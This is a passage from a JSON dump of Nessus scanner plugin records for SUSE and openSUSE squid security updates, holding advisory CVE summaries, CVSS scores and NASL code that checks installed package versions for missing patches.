audit(AUDIT_PACKAGE_NOT_INSTALLED, \"squid / squid3\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-27T15:38:35", "description": "This update for squid fixes the following issues :\n\nCVE-2019-12528: Fixed an information disclosure flaw in the FTP gateway (bsc#1162689).\n\nCVE-2019-12526: Fixed potential remote code execution during URN processing (bsc#1156326).\n\nCVE-2019-12523,CVE-2019-18676: Fixed multiple improper validations in URI processing (bsc#1156329).\n\nCVE-2019-18677: Fixed Cross-Site Request Forgery in HTTP Request processing (bsc#1156328).\n\nCVE-2019-18678: Fixed incorrect message parsing which could have led to HTTP request splitting issue (bsc#1156323).\n\nCVE-2019-18679: Fixed information disclosure when processing HTTP Digest Authentication (bsc#1156324).\n\nCVE-2020-8449: Fixed a buffer overflow when squid is acting as reverse-proxy (bsc#1162687).\n\nCVE-2020-8450: Fixed a buffer overflow when squid is acting as reverse-proxy (bsc#1162687).\n\nCVE-2020-8517: Fixed a buffer overflow in ext_lm_group_acl when processing NTLM Authentication credentials (bsc#1162691).\n\nNote that Tenable Network Security has extracted the preceding description block directly from the SUSE security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-03-13T00:00:00", "type": "nessus", "title": "SUSE SLES12 Security Update : squid (SUSE-SU-2020:0661-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12523", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2020-8449", "CVE-2020-8450", "CVE-2020-8517"], "modified": "2022-05-18T00:00:00", "cpe": ["p-cpe:/a:novell:suse_linux:squid", "p-cpe:/a:novell:suse_linux:squid-debuginfo", "p-cpe:/a:novell:suse_linux:squid-debugsource", "cpe:/o:novell:suse_linux:12"], "id": "SUSE_SU-2020-0661-1.NASL", "href": "https://www.tenable.com/plugins/nessus/134561", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from SUSE update advisory SUSE-SU-2020:0661-1.\n# The text itself is copyright (C) SUSE.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(134561);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/18\");\n\n script_cve_id(\n \"CVE-2019-12523\",\n \"CVE-2019-12526\",\n \"CVE-2019-12528\",\n \"CVE-2019-18676\",\n \"CVE-2019-18677\",\n \"CVE-2019-18678\",\n \"CVE-2019-18679\",\n \"CVE-2020-8449\",\n \"CVE-2020-8450\",\n \"CVE-2020-8517\"\n );\n\n script_name(english:\"SUSE SLES12 Security Update : squid (SUSE-SU-2020:0661-1)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote SUSE host is missing one or more security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"This update for squid fixes the following issues :\n\nCVE-2019-12528: Fixed an information disclosure flaw in the FTP\ngateway (bsc#1162689).\n\nCVE-2019-12526: Fixed potential remote code execution during URN\nprocessing (bsc#1156326).\n\nCVE-2019-12523,CVE-2019-18676: Fixed multiple improper validations in\nURI processing (bsc#1156329).\n\nCVE-2019-18677: Fixed Cross-Site Request Forgery in HTTP Request\nprocessing (bsc#1156328).\n\nCVE-2019-18678: Fixed incorrect message parsing which could have led\nto HTTP request splitting issue (bsc#1156323).\n\nCVE-2019-18679: Fixed information disclosure when processing HTTP\nDigest Authentication (bsc#1156324).\n\nCVE-2020-8449: Fixed a buffer overflow when squid is acting as\nreverse-proxy (bsc#1162687).\n\nCVE-2020-8450: Fixed a buffer overflow when squid is acting as\nreverse-proxy (bsc#1162687).\n\nCVE-2020-8517: Fixed a buffer overflow in ext_lm_group_acl when\nprocessing NTLM Authentication credentials (bsc#1162691).\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/show_bug.cgi?id=1156323\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/show_bug.cgi?id=1156324\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/show_bug.cgi?id=1156326\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/show_bug.cgi?id=1156328\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/show_bug.cgi?id=1156329\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/show_bug.cgi?id=1162687\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/show_bug.cgi?id=1162689\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.suse.com/show_bug.cgi?id=1162691\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-12523/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-12526/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-12528/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-18676/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-18677/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-18678/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2019-18679/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2020-8449/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2020-8450/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.suse.com/security/cve/CVE-2020-8517/\");\n # https://www.suse.com/support/update/announcement/2020/suse-su-20200661-1/\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?176ea211\");\n script_set_attribute(attribute:\"solution\", value:\n\"To install this SUSE Security Update use the SUSE recommended\ninstallation methods like YaST online_update or 'zypper patch'.\n\nAlternatively you can run the command listed for your product :\n\nSUSE OpenStack Cloud Crowbar 8:zypper in -t patch\nSUSE-OpenStack-Cloud-Crowbar-8-2020-661=1\n\nSUSE OpenStack Cloud 8:zypper in -t patch\nSUSE-OpenStack-Cloud-8-2020-661=1\n\nSUSE OpenStack Cloud 7:zypper in -t patch\nSUSE-OpenStack-Cloud-7-2020-661=1\n\nSUSE Linux Enterprise Server for SAP 12-SP3:zypper in -t patch\nSUSE-SLE-SAP-12-SP3-2020-661=1\n\nSUSE Linux Enterprise Server for SAP 12-SP2:zypper in -t patch\nSUSE-SLE-SAP-12-SP2-2020-661=1\n\nSUSE Linux Enterprise Server 12-SP4:zypper in -t patch\nSUSE-SLE-SERVER-12-SP4-2020-661=1\n\nSUSE Linux Enterprise Server 12-SP3-LTSS:zypper in -t patch\nSUSE-SLE-SERVER-12-SP3-2020-661=1\n\nSUSE Linux Enterprise Server 12-SP3-BCL:zypper in -t patch\nSUSE-SLE-SERVER-12-SP3-BCL-2020-661=1\n\nSUSE Linux Enterprise Server 12-SP2-LTSS:zypper in -t patch\nSUSE-SLE-SERVER-12-SP2-2020-661=1\n\nSUSE Linux Enterprise Server 12-SP2-BCL:zypper in -t patch\nSUSE-SLE-SERVER-12-SP2-BCL-2020-661=1\n\nSUSE Enterprise Storage 5:zypper in -t patch SUSE-Storage-5-2020-661=1\n\nHPE Helion Openstack 8:zypper in -t patch\nHPE-Helion-OpenStack-8-2020-661=1\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-8450\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2019-12526\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/11/26\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/03/12\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/03/13\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:squid\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:squid-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:squid-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:suse_linux:12\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"SuSE Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release !~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"SUSE\");\nos_ver = pregmatch(pattern: \"^(SLE(S|D)\\d+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"SUSE\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(SLES12)$\", string:os_ver)) audit(AUDIT_OS_NOT, \"SUSE SLES12\", \"SUSE \" + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^i[3-6]86$\" && \"x86_64\" >!< cpu && \"s390x\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"SUSE \" + os_ver, cpu);\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLES12\" && (! preg(pattern:\"^(2|3|4)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLES12 SP2/3/4\", os_ver + \" SP\" + sp);\n\n\nflag = 0;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"squid-3.5.21-26.20.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"squid-debuginfo-3.5.21-26.20.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"4\", reference:\"squid-debugsource-3.5.21-26.20.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"squid-3.5.21-26.20.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"squid-debuginfo-3.5.21-26.20.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"squid-debugsource-3.5.21-26.20.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"squid-3.5.21-26.20.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"squid-debuginfo-3.5.21-26.20.1\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"squid-debugsource-3.5.21-26.20.1\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"squid\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-06-16T17:01:33", "description": "This update for squid to version 4.9 fixes the following issues :\n\nSecurity issues fixed :\n\nCVE-2019-13345: Fixed multiple cross-site scripting vulnerabilities in cachemgr.cgi (bsc#1140738).\n\nCVE-2019-12526: Fixed potential remote code execution during URN processing (bsc#1156326).\n\nCVE-2019-12523,CVE-2019-18676: Fixed multiple improper validations in URI processing (bsc#1156329).\n\nCVE-2019-18677: Fixed Cross-Site Request Forgery in HTTP Request processing (bsc#1156328).\n\nCVE-2019-18678: Fixed incorrect message parsing which could have led to HTTP request splitting issue (bsc#1156323).\n\nCVE-2019-18679: Fixed information disclosure when processing HTTP Digest Authentication (bsc#1156324).\n\nOther issues addressed :\n\n - Fixed DNS failures when peer name was configured with any upper case characters\n\n - Fixed several rock cache_dir corruption issues\n\nNote that Tenable Network Security has extracted the preceding description block directly from the SUSE security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2019-11-15T00:00:00", "type": "nessus", "title": "SUSE SLES15 Security Update : squid (SUSE-SU-2019:2975-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12523", "CVE-2019-12525", "CVE-2019-12526", "CVE-2019-12527", "CVE-2019-12529", "CVE-2019-12854", "CVE-2019-13345", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-3688"], "modified": "2019-12-12T00:00:00", "cpe": ["p-cpe:/a:novell:suse_linux:squid", "p-cpe:/a:novell:suse_linux:squid-debuginfo", "p-cpe:/a:novell:suse_linux:squid-debugsource", "cpe:/o:novell:suse_linux:15"], "id": "SUSE_SU-2019-2975-1.NASL", "href": "https://www.tenable.com/plugins/nessus/131070", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from SUSE update advisory SUSE-SU-2019:2975-1.\n# The text itself is copyright (C) SUSE.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(131070);\n script_version(\"1.2\");\n script_cvs_date(\"Date: 2019/12/12\");\n\n script_cve_id(\"CVE-2019-12523\", \"CVE-2019-12525\", \"CVE-2019-12526\", \"CVE-2019-12527\", \"CVE-2019-12529\", \"CVE-2019-12854\", \"CVE-2019-13345\", \"CVE-2019-18676\", \"CVE-2019-18677\", \"CVE-2019-18678\", \"CVE-2019-18679\", \"CVE-2019-3688\");\n\n script_name(english:\"SUSE SLES15 Security Update : squid (SUSE-SU-2019:2975-1)\");\n script_summary(english:\"Checks rpm output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote SUSE host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update for squid to version 4.9 fixes the following issues :\n\nSecurity issues fixed :\n\nCVE-2019-13345: Fixed multiple cross-site scripting vulnerabilities in\ncachemgr.cgi (bsc#1140738).\n\nCVE-2019-12526: Fixed potential remote code execution during URN\nprocessing (bsc#1156326).\n\nCVE-2019-12523,CVE-2019-18676: Fixed multiple improper validations in\nURI processing (bsc#1156329).\n\nCVE-2019-18677: Fixed Cross-Site Request Forgery in HTTP Request\nprocessing (bsc#1156328).\n\nCVE-2019-18678: Fixed incorrect message parsing which could have led\nto HTTP request splitting issue (bsc#1156323).\n\nCVE-2019-18679: Fixed information disclosure when processing HTTP\nDigest Authentication (bsc#1156324).\n\nOther issues addressed :\n\n - Fixed DNS failures when peer name was configured with\n any upper case characters\n\n - Fixed several rock cache_dir corruption issues\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1133089\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1140738\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1141329\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1141330\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1141332\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1141442\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1156323\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1156324\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1156326\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1156328\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1156329\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-12523/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-12525/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-12526/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-12527/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-12529/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-12854/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-13345/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-18676/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-18677/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-18678/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-18679/\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-3688/\"\n );\n # https://www.suse.com/support/update/announcement/2019/suse-su-20192975-1/\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?1ee09f3b\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"To install this SUSE Security Update use the SUSE recommended\ninstallation methods like YaST online_update or 'zypper patch'.\n\nAlternatively you can run the command listed for your product :\n\nSUSE Linux Enterprise Module for Server Applications 15-SP1:zypper in\n-t patch SUSE-SLE-Module-Server-Applications-15-SP1-2019-2975=1\n\nSUSE Linux Enterprise Module for Server Applications 15:zypper in -t\npatch SUSE-SLE-Module-Server-Applications-15-2019-2975=1\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:squid\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:squid-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:squid-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:suse_linux:15\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/07/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/11/14\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/11/15\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release !~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"SUSE\");\nos_ver = pregmatch(pattern: \"^(SLE(S|D)\\d+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"SUSE\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(SLES15)$\", string:os_ver)) audit(AUDIT_OS_NOT, \"SUSE SLES15\", \"SUSE \" + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^i[3-6]86$\" && \"x86_64\" >!< cpu && \"s390x\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"SUSE \" + os_ver, cpu);\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLES15\" && (! preg(pattern:\"^(0|1)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLES15 SP0/1\", os_ver + \" SP\" + sp);\n\n\nflag = 0;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"squid-4.9-5.11.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"squid-debuginfo-4.9-5.11.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"squid-debugsource-4.9-5.11.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"squid-4.9-5.11.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"squid-debuginfo-4.9-5.11.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"squid-debugsource-4.9-5.11.1\")) flag++;\n\n\nif (flag)\n{\n set_kb_item(name:'www/0/XSS', value:TRUE);\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"squid\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-06-16T17:00:39", "description": "This update for squid to version 4.9 fixes the following issues :\n\nSecurity issues fixed :\n\n - CVE-2019-13345: Fixed multiple cross-site scripting vulnerabilities in cachemgr.cgi (bsc#1140738).\n\n - CVE-2019-12526: Fixed potential remote code execution during URN processing (bsc#1156326).\n\n - CVE-2019-12523,CVE-2019-18676: Fixed multiple improper validations in URI processing (bsc#1156329).\n\n - CVE-2019-18677: Fixed Cross-Site Request Forgery in HTTP Request processing (bsc#1156328).\n\n - CVE-2019-18678: Fixed incorrect message parsing which could have led to HTTP request splitting issue (bsc#1156323).\n\n - CVE-2019-18679: Fixed information disclosure when processing HTTP Digest Authentication (bsc#1156324).\n\nOther issues addressed :\n\n - Fixed DNS failures when peer name was configured with any upper case characters\n\n - Fixed several rock cache_dir corruption issues\n\nThis update was imported from the SUSE:SLE-15:Update update project.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2019-11-22T00:00:00", "type": "nessus", "title": "openSUSE Security Update : squid (openSUSE-2019-2541)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12523", "CVE-2019-12525", "CVE-2019-12526", "CVE-2019-12527", "CVE-2019-12529", "CVE-2019-12854", "CVE-2019-13345", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-3688"], "modified": "2019-12-09T00:00:00", "cpe": ["p-cpe:/a:novell:opensuse:squid", "p-cpe:/a:novell:opensuse:squid-debuginfo", "p-cpe:/a:novell:opensuse:squid-debugsource", "cpe:/o:novell:opensuse:15.1"], "id": "OPENSUSE-2019-2541.NASL", "href": "https://www.tenable.com/plugins/nessus/131220", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2019-2541.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(131220);\n script_version(\"1.2\");\n script_cvs_date(\"Date: 2019/12/09\");\n\n script_cve_id(\"CVE-2019-12523\", \"CVE-2019-12525\", \"CVE-2019-12526\", \"CVE-2019-12527\", \"CVE-2019-12529\", \"CVE-2019-12854\", \"CVE-2019-13345\", \"CVE-2019-18676\", \"CVE-2019-18677\", \"CVE-2019-18678\", \"CVE-2019-18679\", \"CVE-2019-3688\");\n\n script_name(english:\"openSUSE Security Update : squid (openSUSE-2019-2541)\");\n script_summary(english:\"Check for the openSUSE-2019-2541 patch\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote openSUSE host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update for squid to version 4.9 fixes the following issues :\n\nSecurity issues fixed :\n\n - CVE-2019-13345: Fixed multiple cross-site scripting\n vulnerabilities in cachemgr.cgi (bsc#1140738).\n\n - CVE-2019-12526: Fixed potential remote code execution\n during URN processing (bsc#1156326).\n\n - CVE-2019-12523,CVE-2019-18676: Fixed multiple improper\n validations in URI processing (bsc#1156329).\n\n - CVE-2019-18677: Fixed Cross-Site Request Forgery in HTTP\n Request processing (bsc#1156328).\n\n - CVE-2019-18678: Fixed incorrect message parsing which\n could have led to HTTP request splitting issue\n (bsc#1156323).\n\n - CVE-2019-18679: Fixed information disclosure when\n processing HTTP Digest Authentication (bsc#1156324).\n\nOther issues addressed :\n\n - Fixed DNS failures when peer name was configured with\n any upper case characters\n\n - Fixed several rock cache_dir corruption issues\n\nThis update was imported from the SUSE:SLE-15:Update update project.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1133089\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1140738\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1141329\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1141330\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1141332\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1141442\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1156323\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1156324\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1156326\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1156328\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1156329\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected squid packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:squid\");\n script_set_attribute(attribute:\"cpe\", 